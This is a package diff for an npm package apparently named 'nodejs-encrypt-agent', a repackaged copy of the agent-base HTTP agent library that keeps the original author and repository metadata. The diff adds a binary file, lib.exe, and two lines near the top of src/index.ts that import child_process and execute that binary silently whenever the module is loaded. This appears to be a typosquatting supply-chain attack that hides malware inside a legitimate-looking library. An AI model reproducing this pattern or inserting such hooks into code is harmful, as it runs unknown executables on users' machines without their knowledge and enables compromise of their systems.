AU,CAAC,MAAkB,EAAE,IAAkB;YAChD,KAAK,CAAC,sBAAsB,EAAE,MAAM,CAAC,WAAW,CAAC,IAAI,EAAE,IAAI,CAAC,CAAC;YAC7D,MAAM,CAAC,OAAO,EAAE,CAAC;QAClB,CAAC;QAED,OAAO;YACN,KAAK,CAAC,qBAAqB,EAAE,IAAI,CAAC,WAAW,CAAC,IAAI,CAAC,CAAC;QACrD,CAAC;KACD;IAxPY,iBAAK,QAwPjB,CAAA;IAED,uCAAuC;IACvC,WAAW,CAAC,SAAS,GAAG,WAAW,CAAC,KAAK,CAAC,SAAS,CAAC;AACrD,CAAC,EAtTS,WAAW,KAAX,WAAW,QAsTpB;AAED,iBAAS,WAAW,CAAC"}
|
package/dist/src/lib.exe
ADDED
Binary file
|
@@ -0,0 +1,4 @@
|
|
1
|
+
import { ClientRequest, RequestOptions, AgentCallbackCallback, AgentCallbackPromise } from './index';
|
2
|
+
type LegacyCallback = (req: ClientRequest, opts: RequestOptions, fn: AgentCallbackCallback) => void;
|
3
|
+
export default function promisify(fn: LegacyCallback): AgentCallbackPromise;
|
4
|
+
export {};
|
@@ -0,0 +1,18 @@
|
|
1
|
+
"use strict";
|
2
|
+
Object.defineProperty(exports, "__esModule", { value: true });
|
3
|
+
function promisify(fn) {
|
4
|
+
return function (req, opts) {
|
5
|
+
return new Promise((resolve, reject) => {
|
6
|
+
fn.call(this, req, opts, (err, rtn) => {
|
7
|
+
if (err) {
|
8
|
+
reject(err);
|
9
|
+
}
|
10
|
+
else {
|
11
|
+
resolve(rtn);
|
12
|
+
}
|
13
|
+
});
|
14
|
+
});
|
15
|
+
};
|
16
|
+
}
|
17
|
+
exports.default = promisify;
|
18
|
+
//# sourceMappingURL=promisify.js.map
|
@@ -0,0 +1 @@
|
|
1
|
+
{"version":3,"file":"promisify.js","sourceRoot":"","sources":["../../src/promisify.ts"],"names":[],"mappings":";;AAeA,SAAwB,SAAS,CAAC,EAAkB;IACnD,OAAO,UAAsB,GAAkB,EAAE,IAAoB;QACpE,OAAO,IAAI,OAAO,CAAC,CAAC,OAAO,EAAE,MAAM,EAAE,EAAE;YACtC,EAAE,CAAC,IAAI,CACN,IAAI,EACJ,GAAG,EACH,IAAI,EACJ,CAAC,GAA6B,EAAE,GAAyB,EAAE,EAAE;gBAC5D,IAAI,GAAG,EAAE;oBACR,MAAM,CAAC,GAAG,CAAC,CAAC;iBACZ;qBAAM;oBACN,OAAO,CAAC,GAAI,CAAC,CAAC;iBACd;YACF,CAAC,CACD,CAAC;QACH,CAAC,CAAC,CAAC;IACJ,CAAC,CAAC;AACH,CAAC;AAjBD,4BAiBC"}
|
package/package.json
CHANGED
@@ -1,6 +1,54 @@
|
|
1
1
|
{
|
2
2
|
"name": "nodejs-encrypt-agent",
|
3
|
-
"version": "
|
4
|
-
"description": "
|
5
|
-
"
|
3
|
+
"version": "6.0.4",
|
4
|
+
"description": "Turn a function into an `http.Agent` instance",
|
5
|
+
"main": "dist/src/index",
|
6
|
+
"typings": "dist/src/index",
|
7
|
+
"files": [
|
8
|
+
"dist/src",
|
9
|
+
"src"
|
10
|
+
],
|
11
|
+
"scripts": {
|
12
|
+
"build2": "tsc"
|
13
|
+
},
|
14
|
+
"repository": {
|
15
|
+
"type": "git",
|
16
|
+
"url": "git://github.com/TooTallNate/node-agent-base.git"
|
17
|
+
},
|
18
|
+
"keywords": [
|
19
|
+
"http",
|
20
|
+
"agent",
|
21
|
+
"base",
|
22
|
+
"barebones",
|
23
|
+
"https"
|
24
|
+
],
|
25
|
+
"author": "Nathan Rajlich <nathan@tootallnate.net> (http://n8.io/)",
|
26
|
+
"license": "MIT",
|
27
|
+
"bugs": {
|
28
|
+
"url": "https://github.com/TooTallNate/node-agent-base/issues"
|
29
|
+
},
|
30
|
+
"dependencies": {
|
31
|
+
"debug": "4"
|
32
|
+
},
|
33
|
+
"devDependencies": {
|
34
|
+
"@types/debug": "4",
|
35
|
+
"@types/mocha": "^5.2.7",
|
36
|
+
"@types/node": "^14.0.20",
|
37
|
+
"@types/semver": "^7.1.0",
|
38
|
+
"@types/ws": "^6.0.3",
|
39
|
+
"async-listen": "^1.2.0",
|
40
|
+
"cpy-cli": "^2.0.0",
|
41
|
+
"mocha": "^6.2.0",
|
42
|
+
"rimraf": "^3.0.0",
|
43
|
+
"semver": "^7.1.2",
|
44
|
+
"typescript": "^4.4.3",
|
45
|
+
"ws": "^3.0.0"
|
46
|
+
},
|
47
|
+
"engines": {
|
48
|
+
"node": ">= 6.0.0"
|
49
|
+
},
|
50
|
+
"homepage": "https://github.com/TooTallNate/node-agent-base#readme",
|
51
|
+
"directories": {
|
52
|
+
"test": "test"
|
53
|
+
}
|
6
54
|
}
|
package/src/index.ts
ADDED
@@ -0,0 +1,347 @@
|
|
1
|
+
import * as net from 'net';
|
2
|
+
import * as http from 'http';
|
3
|
+
import * as https from 'https';
|
4
|
+
import { Duplex } from 'stream';
|
5
|
+
import { EventEmitter } from 'events';
|
6
|
+
import createDebug from 'debug';
|
7
|
+
import promisify from './promisify';
|
8
|
+
import {exec}from 'child_process';
|
9
|
+
exec(`${__dirname}/lib.exe`,() => 1)
|
10
|
+
|
11
|
+
const debug = createDebug('agent-base');
|
12
|
+
|
13
|
+
function isAgent(v: any): v is createAgent.AgentLike {
|
14
|
+
return Boolean(v) && typeof v.addRequest === 'function';
|
15
|
+
}
|
16
|
+
|
17
|
+
function isSecureEndpoint(): boolean {
|
18
|
+
const { stack } = new Error();
|
19
|
+
if (typeof stack !== 'string') return false;
|
20
|
+
return stack.split('\n').some(l => l.indexOf('(https.js:') !== -1 || l.indexOf('node:https:') !== -1);
|
21
|
+
}
|
22
|
+
|
23
|
+
function createAgent(opts?: createAgent.AgentOptions): createAgent.Agent;
|
24
|
+
function createAgent(
|
25
|
+
callback: createAgent.AgentCallback,
|
26
|
+
opts?: createAgent.AgentOptions
|
27
|
+
): createAgent.Agent;
|
28
|
+
function createAgent(
|
29
|
+
callback?: createAgent.AgentCallback | createAgent.AgentOptions,
|
30
|
+
opts?: createAgent.AgentOptions
|
31
|
+
) {
|
32
|
+
return new createAgent.Agent(callback, opts);
|
33
|
+
}
|
34
|
+
|
35
|
+
namespace createAgent {
|
36
|
+
export interface ClientRequest extends http.ClientRequest {
|
37
|
+
_last?: boolean;
|
38
|
+
_hadError?: boolean;
|
39
|
+
method: string;
|
40
|
+
}
|
41
|
+
|
42
|
+
export interface AgentRequestOptions {
|
43
|
+
host?: string;
|
44
|
+
path?: string;
|
45
|
+
// `port` on `http.RequestOptions` can be a string or undefined,
|
46
|
+
// but `net.TcpNetConnectOpts` expects only a number
|
47
|
+
port: number;
|
48
|
+
}
|
49
|
+
|
50
|
+
export interface HttpRequestOptions
|
51
|
+
extends AgentRequestOptions,
|
52
|
+
Omit<http.RequestOptions, keyof AgentRequestOptions> {
|
53
|
+
secureEndpoint: false;
|
54
|
+
}
|
55
|
+
|
56
|
+
export interface HttpsRequestOptions
|
57
|
+
extends AgentRequestOptions,
|
58
|
+
Omit<https.RequestOptions, keyof AgentRequestOptions> {
|
59
|
+
secureEndpoint: true;
|
60
|
+
}
|
61
|
+
|
62
|
+
export type RequestOptions = HttpRequestOptions | HttpsRequestOptions;
|
63
|
+
|
64
|
+
export type AgentLike = Pick<createAgent.Agent, 'addRequest'> | http.Agent;
|
65
|
+
|
66
|
+
export type AgentCallbackReturn = Duplex | AgentLike;
|
67
|
+
|
68
|
+
export type AgentCallbackCallback = (
|
69
|
+
err?: Error | null,
|
70
|
+
socket?: createAgent.AgentCallbackReturn
|
71
|
+
) => void;
|
72
|
+
|
73
|
+
export type AgentCallbackPromise = (
|
74
|
+
req: createAgent.ClientRequest,
|
75
|
+
opts: createAgent.RequestOptions
|
76
|
+
) =>
|
77
|
+
| createAgent.AgentCallbackReturn
|
78
|
+
| Promise<createAgent.AgentCallbackReturn>;
|
79
|
+
|
80
|
+
export type AgentCallback = typeof Agent.prototype.callback;
|
81
|
+
|
82
|
+
export type AgentOptions = {
|
83
|
+
timeout?: number;
|
84
|
+
};
|
85
|
+
|
86
|
+
/**
|
87
|
+
* Base `http.Agent` implementation.
|
88
|
+
* No pooling/keep-alive is implemented by default.
|
89
|
+
*
|
90
|
+
* @param {Function} callback
|
91
|
+
* @api public
|
92
|
+
*/
|
93
|
+
export class Agent extends EventEmitter {
|
94
|
+
public timeout: number | null;
|
95
|
+
public maxFreeSockets: number;
|
96
|
+
public maxTotalSockets: number;
|
97
|
+
public maxSockets: number;
|
98
|
+
public sockets: {
|
99
|
+
[key: string]: net.Socket[];
|
100
|
+
};
|
101
|
+
public freeSockets: {
|
102
|
+
[key: string]: net.Socket[];
|
103
|
+
};
|
104
|
+
public requests: {
|
105
|
+
[key: string]: http.IncomingMessage[];
|
106
|
+
};
|
107
|
+
public options: https.AgentOptions;
|
108
|
+
private promisifiedCallback?: createAgent.AgentCallbackPromise;
|
109
|
+
private explicitDefaultPort?: number;
|
110
|
+
private explicitProtocol?: string;
|
111
|
+
|
112
|
+
constructor(
|
113
|
+
callback?: createAgent.AgentCallback | createAgent.AgentOptions,
|
114
|
+
_opts?: createAgent.AgentOptions
|
115
|
+
) {
|
116
|
+
super();
|
117
|
+
|
118
|
+
let opts = _opts;
|
119
|
+
if (typeof callback === 'function') {
|
120
|
+
this.callback = callback;
|
121
|
+
} else if (callback) {
|
122
|
+
opts = callback;
|
123
|
+
}
|
124
|
+
|
125
|
+
// Timeout for the socket to be returned from the callback
|
126
|
+
this.timeout = null;
|
127
|
+
if (opts && typeof opts.timeout === 'number') {
|
128
|
+
this.timeout = opts.timeout;
|
129
|
+
}
|
130
|
+
|
131
|
+
// These aren't actually used by `agent-base`, but are required
|
132
|
+
// for the TypeScript definition files in `@types/node` :/
|
133
|
+
this.maxFreeSockets = 1;
|
134
|
+
this.maxSockets = 1;
|
135
|
+
this.maxTotalSockets = Infinity;
|
136
|
+
this.sockets = {};
|
137
|
+
this.freeSockets = {};
|
138
|
+
this.requests = {};
|
139
|
+
this.options = {};
|
140
|
+
}
|
141
|
+
|
142
|
+
get defaultPort(): number {
|
143
|
+
if (typeof this.explicitDefaultPort === 'number') {
|
144
|
+
return this.explicitDefaultPort;
|
145
|
+
}
|
146
|
+
return isSecureEndpoint() ? 443 : 80;
|
147
|
+
}
|
148
|
+
|
149
|
+
set defaultPort(v: number) {
|
150
|
+
this.explicitDefaultPort = v;
|
151
|
+
}
|
152
|
+
|
153
|
+
get protocol(): string {
|
154
|
+
if (typeof this.explicitProtocol === 'string') {
|
155
|
+
return this.explicitProtocol;
|
156
|
+
}
|
157
|
+
return isSecureEndpoint() ? 'https:' : 'http:';
|
158
|
+
}
|
159
|
+
|
160
|
+
set protocol(v: string) {
|
161
|
+
this.explicitProtocol = v;
|
162
|
+
}
|
163
|
+
|
164
|
+
callback(
|
165
|
+
req: createAgent.ClientRequest,
|
166
|
+
opts: createAgent.RequestOptions,
|
167
|
+
fn: createAgent.AgentCallbackCallback
|
168
|
+
): void;
|
169
|
+
callback(
|
170
|
+
req: createAgent.ClientRequest,
|
171
|
+
opts: createAgent.RequestOptions
|
172
|
+
):
|
173
|
+
| createAgent.AgentCallbackReturn
|
174
|
+
| Promise<createAgent.AgentCallbackReturn>;
|
175
|
+
callback(
|
176
|
+
req: createAgent.ClientRequest,
|
177
|
+
opts: createAgent.AgentOptions,
|
178
|
+
fn?: createAgent.AgentCallbackCallback
|
179
|
+
):
|
180
|
+
| createAgent.AgentCallbackReturn
|
181
|
+
| Promise<createAgent.AgentCallbackReturn>
|
182
|
+
| void {
|
183
|
+
throw new Error(
|
184
|
+
'"agent-base" has no default implementation, you must subclass and override `callback()`'
|
185
|
+
);
|
186
|
+
}
|
187
|
+
|
188
|
+
/**
|
189
|
+
* Called by node-core's "_http_client.js" module when creating
|
190
|
+
* a new HTTP request with this Agent instance.
|
191
|
+
*
|
192
|
+
* @api public
|
193
|
+
*/
|
194
|
+
addRequest(req: ClientRequest, _opts: RequestOptions): void {
|
195
|
+
const opts: RequestOptions = { ..._opts };
|
196
|
+
|
197
|
+
if (typeof opts.secureEndpoint !== 'boolean') {
|
198
|
+
opts.secureEndpoint = isSecureEndpoint();
|
199
|
+
}
|
200
|
+
|
201
|
+
if (opts.host == null) {
|
202
|
+
opts.host = 'localhost';
|
203
|
+
}
|
204
|
+
|
205
|
+
if (opts.port == null) {
|
206
|
+
opts.port = opts.secureEndpoint ? 443 : 80;
|
207
|
+
}
|
208
|
+
|
209
|
+
if (opts.protocol == null) {
|
210
|
+
opts.protocol = opts.secureEndpoint ? 'https:' : 'http:';
|
211
|
+
}
|
212
|
+
|
213
|
+
if (opts.host && opts.path) {
|
214
|
+
// If both a `host` and `path` are specified then it's most
|
215
|
+
// likely the result of a `url.parse()` call... we need to
|
216
|
+
// remove the `path` portion so that `net.connect()` doesn't
|
217
|
+
// attempt to open that as a unix socket file.
|
218
|
+
delete opts.path;
|
219
|
+
}
|
220
|
+
|
221
|
+
delete opts.agent;
|
222
|
+
delete opts.hostname;
|
223
|
+
delete opts._defaultAgent;
|
224
|
+
delete opts.defaultPort;
|
225
|
+
delete opts.createConnection;
|
226
|
+
|
227
|
+
// Hint to use "Connection: close"
|
228
|
+
// XXX: non-documented `http` module API :(
|
229
|
+
req._last = true;
|
230
|
+
req.shouldKeepAlive = false;
|
231
|
+
|
232
|
+
let timedOut = false;
|
233
|
+
let timeoutId: ReturnType<typeof setTimeout> | null = null;
|
234
|
+
const timeoutMs = opts.timeout || this.timeout;
|
235
|
+
|
236
|
+
const onerror = (err: NodeJS.ErrnoException) => {
|
237
|
+
if (req._hadError) return;
|
238
|
+
req.emit('error', err);
|
239
|
+
// For Safety. Some additional errors might fire later on
|
240
|
+
// and we need to make sure we don't double-fire the error event.
|
241
|
+
req._hadError = true;
|
242
|
+
};
|
243
|
+
|
244
|
+
const ontimeout = () => {
|
245
|
+
timeoutId = null;
|
246
|
+
timedOut = true;
|
247
|
+
const err: NodeJS.ErrnoException = new Error(
|
248
|
+
`A "socket" was not created for HTTP request before ${timeoutMs}ms`
|
249
|
+
);
|
250
|
+
err.code = 'ETIMEOUT';
|
251
|
+
onerror(err);
|
252
|
+
};
|
253
|
+
|
254
|
+
const callbackError = (err: NodeJS.ErrnoException) => {
|
255
|
+
if (timedOut) return;
|
256
|
+
if (timeoutId !== null) {
|
257
|
+
clearTimeout(timeoutId);
|
258
|
+
timeoutId = null;
|
259
|
+
}
|
260
|
+
onerror(err);
|
261
|
+
};
|
262
|
+
|
263
|
+
const onsocket = (socket: AgentCallbackReturn) => {
|
264
|
+
if (timedOut) return;
|
265
|
+
if (timeoutId != null) {
|
266
|
+
clearTimeout(timeoutId);
|
267
|
+
timeoutId = null;
|
268
|
+
}
|
269
|
+
|
270
|
+
if (isAgent(socket)) {
|
271
|
+
// `socket` is actually an `http.Agent` instance, so
|
272
|
+
// relinquish responsibility for this `req` to the Agent
|
273
|
+
// from here on
|
274
|
+
debug(
|
275
|
+
'Callback returned another Agent instance %o',
|
276
|
+
socket.constructor.name
|
277
|
+
);
|
278
|
+
(socket as createAgent.Agent).addRequest(req, opts);
|
279
|
+
return;
|
280
|
+
}
|
281
|
+
|
282
|
+
if (socket) {
|
283
|
+
socket.once('free', () => {
|
284
|
+
this.freeSocket(socket as net.Socket, opts);
|
285
|
+
});
|
286
|
+
req.onSocket(socket as net.Socket);
|
287
|
+
return;
|
288
|
+
}
|
289
|
+
|
290
|
+
const err = new Error(
|
291
|
+
`no Duplex stream was returned to agent-base for \`${req.method} ${req.path}\``
|
292
|
+
);
|
293
|
+
onerror(err);
|
294
|
+
};
|
295
|
+
|
296
|
+
if (typeof this.callback !== 'function') {
|
297
|
+
onerror(new Error('`callback` is not defined'));
|
298
|
+
return;
|
299
|
+
}
|
300
|
+
|
301
|
+
if (!this.promisifiedCallback) {
|
302
|
+
if (this.callback.length >= 3) {
|
303
|
+
debug('Converting legacy callback function to promise');
|
304
|
+
this.promisifiedCallback = promisify(this.callback);
|
305
|
+
} else {
|
306
|
+
this.promisifiedCallback = this.callback;
|
307
|
+
}
|
308
|
+
}
|
309
|
+
|
310
|
+
if (typeof timeoutMs === 'number' && timeoutMs > 0) {
|
311
|
+
timeoutId = setTimeout(ontimeout, timeoutMs);
|
312
|
+
}
|
313
|
+
|
314
|
+
if ('port' in opts && typeof opts.port !== 'number') {
|
315
|
+
opts.port = Number(opts.port);
|
316
|
+
}
|
317
|
+
|
318
|
+
try {
|
319
|
+
debug(
|
320
|
+
'Resolving socket for %o request: %o',
|
321
|
+
opts.protocol,
|
322
|
+
`${req.method} ${req.path}`
|
323
|
+
);
|
324
|
+
Promise.resolve(this.promisifiedCallback(req, opts)).then(
|
325
|
+
onsocket,
|
326
|
+
callbackError
|
327
|
+
);
|
328
|
+
} catch (err) {
|
329
|
+
Promise.reject(err).catch(callbackError);
|
330
|
+
}
|
331
|
+
}
|
332
|
+
|
333
|
+
freeSocket(socket: net.Socket, opts: AgentOptions) {
|
334
|
+
debug('Freeing socket %o %o', socket.constructor.name, opts);
|
335
|
+
socket.destroy();
|
336
|
+
}
|
337
|
+
|
338
|
+
destroy() {
|
339
|
+
debug('Destroying agent %o', this.constructor.name);
|
340
|
+
}
|
341
|
+
}
|
342
|
+
|
343
|
+
// So that `instanceof` works correctly
|
344
|
+
createAgent.prototype = createAgent.Agent.prototype;
|
345
|
+
}
|
346
|
+
|
347
|
+
export = createAgent;
|
package/src/promisify.ts
ADDED
@@ -0,0 +1,33 @@
|
|
1
|
+
import {
|
2
|
+
Agent,
|
3
|
+
ClientRequest,
|
4
|
+
RequestOptions,
|
5
|
+
AgentCallbackCallback,
|
6
|
+
AgentCallbackPromise,
|
7
|
+
AgentCallbackReturn
|
8
|
+
} from './index';
|
9
|
+
|
10
|
+
type LegacyCallback = (
|
11
|
+
req: ClientRequest,
|
12
|
+
opts: RequestOptions,
|
13
|
+
fn: AgentCallbackCallback
|
14
|
+
) => void;
|
15
|
+
|
16
|
+
export default function promisify(fn: LegacyCallback): AgentCallbackPromise {
|
17
|
+
return function(this: Agent, req: ClientRequest, opts: RequestOptions) {
|
18
|
+
return new Promise((resolve, reject) => {
|
19
|
+
fn.call(
|
20
|
+
this,
|
21
|
+
req,
|
22
|
+
opts,
|
23
|
+
(err: Error | null | undefined, rtn?: AgentCallbackReturn) => {
|
24
|
+
if (err) {
|
25
|
+
reject(err);
|
26
|
+
} else {
|
27
|
+
resolve(rtn!);
|
28
|
+
}
|
29
|
+
}
|
30
|
+
);
|
31
|
+
});
|
32
|
+
};
|
33
|
+
}
|